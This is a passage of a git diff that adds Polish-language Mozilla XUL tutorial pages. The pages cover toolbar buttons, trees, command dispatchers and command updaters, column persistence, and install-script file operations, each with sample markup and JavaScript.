+&lt;/toolbarbutton&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Paski_narzędzi" title="pl/Kurs_XUL/Paski_narzędzi">Więcej informacji o tym typie menu jest w elemencie toolbarbutton</a>.</li> <li><a href="/pl/XUL/toolbarbutton" title="pl/XUL/toolbarbutton">Dokumentacja elementu Toolbarbutton</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;toolbarbutton type="menu-button"&gt;</strong> <p>Przycisk na pasku narzędzi, który posiada odrębną strzałkę z załączonym do niej menu. W przeciwieństwie do przycisku typu "menu", po naciśnięciu na główną jego część może zostać wykonana oddzielna akcja.</p> <pre>
+&lt;toolbarbutton type="menu-button" label="Open"&gt;
+ &lt;menupopup&gt;
+ &lt;menuitem label="Open Changed Files"/&gt;
+ &lt;menuitem label="Open All"/&gt;
+ &lt;/menupopup&gt;
+&lt;/toolbarbutton&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Paski_narzędzi" title="pl/Kurs_XUL/Paski_narzędzi">Więcej informacji na temat tego typu elementów menu paska narzędzi</a>.</li> <li><a href="/pl/XUL/toolbarbutton" title="pl/XUL/toolbarbutton">Dokumentacja przycisków paska narzędzi</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></li> </ul> </td> <td> </td> </tr> <tr> <td><strong>&lt;tree&gt;</strong> <p>Drzewo wyświetla hierarchię pozycji w wielu kolumnach.</p> <pre>
+&lt;tree&gt;
+ &lt;treecols&gt;
+ &lt;treecol label="Name" flex="1"/&gt;
+ &lt;treecol label="Size" flex="1"/&gt;
+ &lt;/treecols&gt;
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Popcorn"/&gt;
+ &lt;treecell label="Large"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Root Beer"/&gt;
+ &lt;treecell label="Small"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre> <ul> <li><a href="/pl/Kurs_XUL/Drzewa" title="pl/Kurs_XUL/Drzewa">Więcej informacji o elemencie drzewa</a>.</li> <li><a href="/pl/XUL/tree" title="pl/XUL/tree">Dokumentacja drzewa</a></li> <li>Podobne elementy: <code><a href="/pl/docs/Mozilla/Tech/XUL/treecell" title="treecell">treecell</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/treecols" title="treecols">treecols</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code> <code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></li> </ul> </td> <td><img alt="Grafika:Controlguide-tree.png" class=" internal" src="/@api/deki/files/2287/=Controlguide-tree.png"></td> </tr> </tbody>
+</table>
+<p> </p>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/aktualizacja_poleceń/index.html b/files/pl/mozilla/tech/xul/kurs_xul/aktualizacja_poleceń/index.html
new file mode 100644
index 0000000000..36f474223b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/aktualizacja_poleceń/index.html
@@ -0,0 +1,133 @@
+---
+title: Aktualizacja poleceń
+slug: Mozilla/Tech/XUL/Kurs_XUL/Aktualizacja_poleceń
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Updating_Commands
+---
+<div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Polecenia" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Rozgłaszacze_oraz_obserwatory">Następny »</a></p>
+</div>
+
+<p>W tym artykule zajmiemy się aktualizacją poleceń.</p>
+
+<h2 id="Wywo.C5.82ywanie_komend" name="Wywo.C5.82ywanie_komend">Wywoływanie komend</h2>
+
+<p>Jeśli element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code></code> posiada atrybut <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code>, możesz po prostu ją wywołać używając metody <code><code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code></code> na komendę albo element przypisany do niej. Dla innych komend będziesz musiał użyć kilka dodatkowych linii kodu, np. gdy wywołujesz komendę zaimplementowaną przez kontroler. Dodatkowo będziesz musiał tego użyć, gdy tworzysz własne menu komend, np. żeby zaimplementować menu edytowania komend w swojej aplikacji.</p>
+
+<p>Na szczęście dodatkowy kod jest w miarę prosty. Wszystko czego potrzebujesz to pobrać potrzebny kontroler i wywołać komendę. Oto prosty sposób aby to wykonać:</p>
+
+<p><span class="comment">If a &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/command" title="command">command</a></code>&lt;/code&gt; has an &lt;code&gt;<code id="a-oncommand"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/oncommand">oncommand</a></code>&lt;/code&gt; attribute, you can just invoke it by using the &lt;code&gt;<span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>&lt;/code&gt; method of the command or an element which is attached to it. For other commands, you will need to use a couple of additional lines of code. You will need to use these extra steps when invoking commands implemented by a controller. In addition, you will need to do this when creating your own menu commands, for instance to implement the edit menu commands in your own application. Fortunately, the extra code is fairly simple. All we need to do is get the needed controller and call the command. A simple way of doing this is the following:</span></p>
+
+<pre>var controller = document.commandDispatcher.getControllerForCommand("cmd_paste");
+if (controller &amp;&amp; controller.isCommandEnabled("cmd_paste")){
+ controller.doCommand(command);
+}
+</pre>
+
+<p>Powyższy kod najpierw odzyskuje kontrolera dla polecenia &lt;tt&gt;cmd_paste&lt;/tt&gt; z rozdzielacza poleceń. Następnie, sprawdza czy polecenie jest włączone i wykonuje polecenie używając metody kontrolera <code>doCommand</code> . Zauważmy, że nie potrzebujemy zgadywać którego elementu albo którego kontrolera musimy użyć. Rozdzielacz komend zajmie się tym sam. Moglibyśmy również po prostu wywołać
+
+ <i>doCommand</i>
+ bez sprawdzania czy komenda jest dostępna, choć prawdopodobnie nie powinniśmy tak robić.</p>
+
+<p>Powyższy kod jest wystarczająco ogólny, że może być funkcją wykonującą komendę, z komendą jako argumentem. Taka funkcja mogłaby być użyta wielokrotnie dla wielu komend. W rzeczywistości jest to bardzo częste, więc w Mozilli zawarta jest biblioteka, która właśnie to robi. Jeśli zawrzesz skrypt "<a class="external" rel="freelink">chrome://global/content/globalOverlay.js</a>" w pliku XUL, możesz wywoływać metodę
+
+ <i>goDoCommand</i>
+ , która wykonuje komendę przekazaną w argumencie. Kod tej funkcji to tylko kilka linijek, więc możesz zawrzeć go bezpośrednio w swoim kodzie, jeśli z pewnych powodów nie chcesz importować biblioteki.</p>
+
+<p><span class="comment">The code above first retrieves the controller for the '&lt;tt&gt;cmd_paste&lt;/tt&gt;' command from the command dispatcher. Then, it checks to see whether the command is enabled, and then executes the command using the &lt;code&gt;doCommand&lt;/code&gt; method of the controller. Note that we don't need to figure out which element to use or which controller to use. The command dispatcher handles that part. Also, we could just call &lt;code&gt;doCommand&lt;/code&gt; without checking if the command was enabled or not, although we probably shouldn't do that. The code above is generic enough that it can be a function that takes a command as an argument and executes that command. This function could then be reused for all commands. In fact, this is common enough that Mozilla includes a library which does just that. If you include the script '&lt;tt&gt;<a class="external" rel="freelink">chrome://global/content/globalOverlay.js</a>&lt;/tt&gt;' in a XUL file, you can call the &lt;code&gt;goDoCommand&lt;/code&gt; method which executes the command passed as the argument. The code for this function is only a few lines long so you could include it directly in your code if for some reason you didn't want to include the library.</span></p>
+
+<pre>&lt;script src="chrome://global/content/globalOverlay.js"/&gt;
+
+&lt;command id="cmd_paste" oncommand="goDoCommand('cmd_paste');"/&gt;
+&lt;button label="Paste" command="cmd_paste"/&gt;
+</pre>
+
+<p>Przykład powyżej zaimplementuje przycisk "Wklej" (
+ <i>Paste</i>
+ ). Jest on dołączony do komendy, która wywoła komendę z określonego kontrolera. Kod ten to wszystko czego potrzebujesz, aby zaimplementować funkcjonalną komendę wklejania do swojej aplikacji. Jedyna inna rzecz, której potrzebujesz to upewnić się, czy status dostępności komendy wklej, a także przycisku, jest update'owany w odpowiednim czasie, co jest opisane poniżej.</p>
+
+<p><span class="comment">The example above will implement a Paste button. It is attached to the command which will invoke the command on the necessary controller when called. The code above is all you need to implement the functionality of the paste command in your application. The only other thing you need to do is ensure that the enabled status of the paste command, and therefore the button, is updated at the right time, which is described below.</span></p>
+
+<h2 id="Command_Updaters" name="Command_Updaters">Command Updaters</h2>
+
+<p>Edytor komend to dodatkowa cecha elementu &lt;commandset&gt;, która pozwala edytować dostępne statusy jednej lub więcej komend, gdy zaszła pewna akcja. Musisz się zastanowić kiedy komenda jest ważna, a kiedy nie. Dodatkowo musisz rozważyć kiedy status może się zmienić i kiedy komenda powinna zostać edytowana.</p>
+
+<p>Na przykład komenda "wklej" jest ważna, gdy coś dzieje się w oknie tekstowym i schowek nie jest pusty. Komenda stanie się dostępna za każdym razem, gdy kursor będzie w polu tekstowym i gdy zmieni się zawartość schowka. Edytor komend będzie wyczekiwał na te sytuacje i kod włączający lub wyłączający dostępność komend będzie wykonany.</p>
+
+<p>Prosty edytor wygląda tak:</p>
+
+<p><span class="comment">A command updater is an extra feature of the &lt;code&gt;<code><a href="/pl/docs/Mozilla/Tech/XUL/commandset" title="commandset">commandset</a></code>&lt;/code&gt; element which allows it to update the enabled status of one or more commands when certain events happen. You will need to think about when a command is valid and when it is not. In addition, you will need to consider when the state could change and when the commands should be updated. For example, the paste command is valid when a textbox has the focus and there is something on the clipboard to paste. The command will become enabled whenever a textbox is focused and when the clipboard contents change. A command updater will listen for these situations and code can be executed which enables and disables commands as necessary. A simple command updater looks like this:</span></p>
+
+<pre>&lt;commandset id="updatePasteItem"
+ commandupdater="true"
+ events="focus"
+ oncommandupdate="goUpdateCommand('cmd_paste');"/&gt;
+</pre>
+
+<p>Edytor jest oznaczony przez atrybut
+ <i>commandupdater</i>
+ , który powinien mieć wartość
+
+ <i>true</i>
+ . Atrybut
+
+ <i>events</i>
+ jest używany aby wypisać sytuacje, w które wsłuchuje się edytor. Możesz wyszczególnić wiele wydarzeń, przedzielając je przecinkiem. W powyższym przykładzie edytor czeka na wydarzenie, gdy kursor znajdzie się w odpowiednim polu (
+
+ <i>focus event</i>
+ ). Sprawi to, że komenda zostanie edytowana.</p>
+
+<p>Gdy pojawi się oczekiwane wydarzenie, zostanie wywołany kod w atrybucie
+ <i>oncommandupdate</i>
+ . W przykładzie wywołana jest metoda
+
+ <i>goUpdateCommand</i>
+ , która jest funkcją dostarczaną przez skrypt globalOverlay.js opisany wcześniej. Wyedytuje on komendę i dostosuje dostępność odpowiednich przycisków i elementów menu. Stojący za tym kod jest w miarę łatwy. Po prostu bierze wymaganego kontrolera, wywołuje jego metodę
+
+ <i>isCommandEnabled</i>
+ i dostosowuje dostępność komendy. Jeśli masz kilka komend do wyedytowania, wywołaj metodę
+
+ <i>goUpdateCommand</i>
+ dla każdej z nich.</p>
+
+<p>Zauważmy, że edytor komendy otrzyma powiadomienia o wszystkich wydarzeniach z wszystkich elementów, nawet jeśli inny słuchacz wydarzeń na nie odpowiada. Tak więc edytor komend jest jak globalny słuchacz wydarzeń (
+ <i>event handler</i>
+ ).</p>
+
+<p>Edytorzy mają kilka wydarzeń, na które odpowiadają, wymienione poniżej. Można też stworzyć własne wydarzenia.</p>
+
+<ul>
+ <li><b>focus</b>: pojawia się, gdy zmienia się miejsce kursora;</li>
+ <li><b>select</b>: pojawia się, gdy zmienia się zaznaczony tekst;</li>
+ <li><b>undo</b>: pojawia się, gdy buffer cofnięcia zmian się zmienia;</li>
+ <li><b>clipboard</b>: pojawia się, gdy zmienia się zawartość schowka.</li>
+</ul>
+
+<p>Następujący przykład pokazuje edytorów komend używanych w Mozilli do edytowania komend menu edycji. Użyte tu funkcje możecie znaleźć w skrypcie "<a class="external" rel="freelink">chrome://communicator/content/utilityOverlay.js</a>".</p>
+
+<pre>&lt;commandset id="globalEditMenuItems"
+ commandupdater="true"
+ events="focus"
+ oncommandupdate="goUpdateGlobalEditMenuItems()"/&gt;
+&lt;commandset id="selectEditMenuItems"
+ commandupdater="true"
+ events="select"
+ oncommandupdate="goUpdateSelectEditMenuItems()"/&gt;
+&lt;commandset id="undoEditMenuItems"
+ commandupdater="true"
+ events="undo"
+ oncommandupdate="goUpdateUndoEditMenuItems()"/&gt;
+&lt;commandset id="clipboardEditMenuItems"
+ commandupdater="true"
+ events="clipboard"
+ oncommandupdate="goUpdatePasteMenuItems()"/&gt;
+</pre>
+
+<p>Następnie dowiemy się <a href="pl/Kurs_XUL/Rozg%c5%82aszacze_oraz_obserwatory">jak używać obserwatorów</a>.</p>
+
+<div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Polecenia" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Rozgłaszacze_oraz_obserwatory">Następny »</a></p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_drzewa/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_drzewa/index.html
new file mode 100644
index 0000000000..756c6eec33
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_drzewa/index.html
@@ -0,0 +1,117 @@
+---
+title: Dodatkowe możliwości drzewa
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodatkowe_możliwości_drzewa
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/More_Tree_Features
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Zaznaczenie_drzewa">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule poznamy więcej możliwości drzewa.
+</p>
+<h3 id="Hierarchia_drzew" name="Hierarchia_drzew"> Hierarchia drzew </h3>
+<p>Elementy drzewa są także zastosowane do tworzenia list hierarchicznych, takich, jakie możemy znaleźć w menedżerach plików lub na liście ulubionych zakładek w przeglądarce. Widok drzewa posiada funkcję, która określa hierarchię poszczególnych pozycji w drzewie. Każda pozycja w drzewie posiada swoją pozycję, która zaczyna się od poziomu 0. Najwyżej wysunięte elementy w drzewie będą posiadały poziom 0, dziecko tej pozycji będzie posiadało poziom 1, dziecko poniżej będzie posiadało poziom 2 i tak dalej. Drzewo będzie pytało o poziom każdej pozycji według ustalonych zasad jak wyrysować wiersze.
+</p><p>Drzewo wyrysuje ikony otwierania i zamykania pozycji rodzica, służące do rozwijania wierszy, jak również linie łączące wiersz rodzica z wierszami dzieci. Widok musi się upewniać, czy ścieżka wierszy jest taka, jak było wymagane. To może czasem się okazać zawodne, jednak, na szczęście, wbudowany widok treści drzewa wykona za nas najcięższą pracę. </p><p>W celu utworzenia zestawu zagnieżdżonych wierszy, dodajemy drugi element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> wewnątrz rodzica <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code>. Możemy wtedy dodać pozycję wewnątrz tamtego, żeby określić wiersze potomne kolejnych pozycji. Nie umieszczaj wewnętrznego elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code> wewnątrz <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code>, ponieważ to nie będzie działało.
+</p><p>Możemy powtarzać ten proces do utworzenia głęboko zagnieżdżonych drzew. Zasadniczo jednak element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> może zawierać którykolwiek z pojedynczych wierszy, które są zadeklarowane z elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code> lub całym kompletem wierszy, zadeklarowanych z elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>.
+</p><p>Są dwie inne rzeczy, które trzeba zrobić żeby upewnić się, że hierarchia zadziała poprawnie. Po pierwsze, trzeba zaznaczyć element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code>, który posiada 'dzieci' jako kontener. Robimy to poprzez dodanie atrybutu <code><code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></code> w następujący sposób:
+</p>
+<pre>&lt;treeitem container="true"/&gt;
+</pre>
+<p>Pozwala to użytkownikowi na kliknięcie w wiersz przesłany do elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> w celu rozwinięcia i zwinięcia wewnętrznych wierszy. Można mieć rozwinięte wiersze już na samym początku, dodając atrybut <code><code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code></code>. Kiedy użytkownik rozwija i zwija główny wiersz, wywoływana jest funkcja toggleOpenState, która to właśnie przełącza te widoki. Dla widoku treści drzewa umieści atrybut <code><code id="a-open"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/open">open</a></code></code>, żeby ustawić aktualny stan.
+</p><p>Drugą zmianą jest to, że musisz umieścić atrybut <code><code id="a-primary"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/primary">primary</a></code></code> w pierwszej kolumnie. To spowoduje ukazanie się małego symbolu trójkąta przed komórkami, który będzie wskazywał na to, że wiersz można rozwinąć. Dodatkowo wiersze potomne są wcięte (akapit). Zauważ, że użytkownik nie ma możliwości ukrycia pierwszej kolumny, używając przeciągania do prawych kolumn.
+</p>
+<h4 id="Przyk.C5.82ad_drzewa_hierarchicznego" name="Przyk.C5.82ad_drzewa_hierarchicznego"> Przykład drzewa hierarchicznego </h4>
+<p>Następujący prosty przykład:
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:advtrees1.png"></div>
+<pre>&lt;tree rows="6"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="firstname" label="Imię" primary="true" flex="3"/&gt;
+ &lt;treecol id="lastname" label="Nazwisko" flex="7"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem container="true" open="true"&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Znajomi"/&gt;
+ &lt;/treerow&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Bob"/&gt;
+ &lt;treecell label="Carpenter"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Jerry"/&gt;
+ &lt;treecell label="Hodge"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre>
+<p>Utworzone zostało hierarchiczne drzewo. Jak widać na obrazku obok pierwszego wiersza ukazał się mały znak plusa lub minusa, wskazując, że wiersz zawiera wiersze potomne. Klikając na ten wiersz użytkownik może rozwinąć i zwinąć listę. Wiersz &lt;tt&gt;Znajomi&lt;/tt&gt; potrzebuje jednej kolumny do umieszczenia jego pozycji dla elementów dzieci.
+</p><p>Zewnętrzny <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treeitem" title="treeitem">treeitem</a></code></code> zawiera pojedynczy element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treerow" title="treerow">treerow</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treechildren" title="treechildren">treechildren</a></code></code>. Ten pierwszy tworzy dane dla źródłowego wiersza, a ten drugi dla późniejszych pozycji potomnych. </p><p>Można również zagnieżdżać głębsze wiersze. Pamiętaj, że musimy użyć atrybutu <code><code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code></code> na wierszach, które zawierają wiersze potomne. Zwykła obecność pochodnych wierszy nie jest wystarczająca do wskazania, czy masz kontener, który jest pusty, ale nadal będzie traktowany jako kontener. Na przykład pusty folder powinien być cały czas traktowany jako kontener, ale plik już nie.
+</p>
+<h3 id="Wi.C4.99cej_o_kolumnach_drzewa" name="Wi.C4.99cej_o_kolumnach_drzewa"> Więcej o kolumnach drzewa </h3>
+<p>Jednym z dodatkowych atrybutów, które mogą być dodane do drzewa, jest <code><code id="a-enableColumnDrag"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/enableColumnDrag">enableColumnDrag</a></code></code>. Jeżeli ma wartość <code>true</code>, użytkownik może złapać za nagłówek i dowolnie przemieszczać kolumny wg uznania.
+</p><p>Prawdopodobnie użytkownik będzie chciał też zmienić szerokość kolumn. Można to zrobić umieszczając rozdzielacz (<code><code><a href="/pl/docs/Mozilla/Tech/XUL/splitter" title="splitter">splitter</a></code></code>) pomiędzy każdym z elementów <code><code><a href="/pl/docs/Mozilla/Tech/XUL/treecol" title="treecol">treecol</a></code></code>. Pojawi się małe nacięcie pomiędzy kolumnami, które użytkownik może złapać i przeciągać, zmieniając szerokość kolumn. Można zastosować klasę stylu <code>tree-splitter</code> w celu ukrycia przerwy, ale mimo to nadal będzie możliwa zmiana szerokości kolumn.
+</p><p>Można narzucić maksymalną i minimalną szerokość kolumn przy pomocy atrybutów <code><code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code></code> i <code><code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code></code>.
+</p><p>Jest możliwość umieszczenia atrybutu <code><code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code></code> w kolumnie, z wartością <code>true</code>, żeby domyślnie uzyskać ukrytą kolumnę. Użytkownik może wybierać, która kolumna ma być ukryta, wybierając ją z rozwijanej listy na końcu wiersza nagłówka. </p>
+<h4 id="Zapami.C4.99tywanie_stanu_kolumn" name="Zapami.C4.99tywanie_stanu_kolumn"> Zapamiętywanie stanu kolumn </h4>
+<div class="float-right"><img alt="Grafika:XUL_rememberingStatofColumnsPL.png"></div>
+<p>Atrybut <code><code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code></code> może być używany do zachowywania stanu kolumn pomiędzy sesjami (więcej informacji znajduje się <a href="pl/Kurs_XUL/Trwa%c5%82e_dane">w jednym z kolejnych artykułów</a>). Tak, że w przypadku, gdy użytkownik zmieni układ wg własnego uznania, ustawienia zostaną zapamiętanie na następny raz. Będzie trzeba zachować pewna liczbę atrybutów jak w przykładzie:
+</p><p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_advtrees_2.xul">Podgląd</a>
+</p>
+<pre>&lt;tree enableColumnDrag="true" flex="1"&gt;
+ &lt;treecols&gt;
+ &lt;treecol id="runner" label="Biegacz" flex="2" persist="width ordinal hidden"/&gt;
+ &lt;splitter class="tree-splitter"/&gt;
+ &lt;treecol id="city" label="Miasto rodzinne" flex="2" persist="width ordinal hidden"/&gt;
+ &lt;splitter class="tree-splitter"/&gt;
+ &lt;treecol id="starttime" label="Czas startu" flex="1" persist="width ordinal hidden"/&gt;
+ &lt;splitter class="tree-splitter"/&gt;
+ &lt;treecol id="endtime" label="Czas ukończenia" flex="1" persist="width ordinal hidden"/&gt;
+ &lt;/treecols&gt;
+
+ &lt;treechildren&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Joshua Granville"/&gt;
+ &lt;treecell label="Vancouver"/&gt;
+ &lt;treecell label="7:06:00"/&gt;
+ &lt;treecell label="9:10:26"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;treeitem&gt;
+ &lt;treerow&gt;
+ &lt;treecell label="Robert Valhalla"/&gt;
+ &lt;treecell label="Seattle"/&gt;
+ &lt;treecell label="7:08:00"/&gt;
+ &lt;treecell label="9:15:51"/&gt;
+ &lt;/treerow&gt;
+ &lt;/treeitem&gt;
+ &lt;/treechildren&gt;
+&lt;/tree&gt;
+</pre>
+<p>Trzy atrybuty kolumn są trwałe:
+</p>
+<ul><li> atrybut <code><code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code></code>, aby zachować szerokość,
+</li><li> atrybut <code><code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code></code>, który podtrzymuje pozycję kolumny, </li><li> atrybut <code><code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code></code>, który zapamiętuje, gdzie kolumna jest widoczna, a gdzie ukryta. </li></ul>
+<p>Następnie dowiemy się, jak pobrać i ustawić <a href="pl/Kurs_XUL/Zaznaczenie_drzewa">zaznaczenie drzew</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Zaznaczenie_drzewa">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_instalacji/index.html b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_instalacji/index.html
new file mode 100644
index 0000000000..c6ea120a63
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/dodatkowe_możliwości_instalacji/index.html
@@ -0,0 +1,58 @@
+---
+title: Dodatkowe możliwości instalacji
+slug: Mozilla/Tech/XUL/Kurs_XUL/Dodatkowe_możliwości_instalacji
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Additional_Install_Features
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Skrypty_instalacyjne" style="float: left;">« Poprzedni</a><br></p>
+</div><p></p>
+
+<p>W tym artykule poznamy dodatkowe możliwości instalacji.</p>
+
+<h2 id="Dodatkowe_mo.C5.BCliwo.C5.9Bci_instalacji" name="Dodatkowe_mo.C5.BCliwo.C5.9Bci_instalacji">Dodatkowe możliwości instalacji</h2>
+
+<p><a href="pl/Kurs_XUL/Skrypty_instalacyjne">Poprzedni artykuł</a> podstawowego instalatora. Jednak możliwe, że zajdzie potrzeba bardziej zaawansowanego przetwarzania danych podczas instalacji. Na przykład, możesz zechcieć instalować paczkę tylko, gdy jakieś warunki zostaną spełnione, np., gdy dana biblioteka jest zainstalowana.</p>
+
+<p>Dodatkowo w obiekcie instalacyjnym, plik obiektu jest dostępny podczas instalacji. To dostarcza funkcji mogących zostać użytymi do badania i modyfikowania plików na dysku. Możesz ich użyć do przemieszczenia, skopiowania, lub usunięcia plików, przed lub po instalacji. Na przykład mógłbyś wcześniej stworzyć kopie bezpieczeństwa plików.</p>
+
+<p>Następujący kod wykona kopię pliku "/bin/grep/" i umieści go w katalogu "/main".</p>
+
+<pre>var binFolder=getFolder("file:///","bin");
+var grep=getFolder(binFolder,"grep");
+
+var mainFolder=getFolder("file:///","main");
+
+File.copy(grep,mainFolder);
+</pre>
+
+<p>Pierwsza linia służy do pozyskania położenia katalogu "/bin. Tekst "file//" jest specjalnym ciągiem oznaczającym katalog główny systemu plików. Stamtąd uzyskujemy plik ‘grep’, który zawarty jest w katalogu ‘bin’. Jeżeli plik nie istnieje nastąpi błąd instalacji. Następnie, otrzymujemy katalog ‘main’, znowu z katalogu głównego systemu. W końcu wywołujemy funkcję File.copy, która kopiuje plik źródłowy do miejsca przeznaczenia.</p>
+
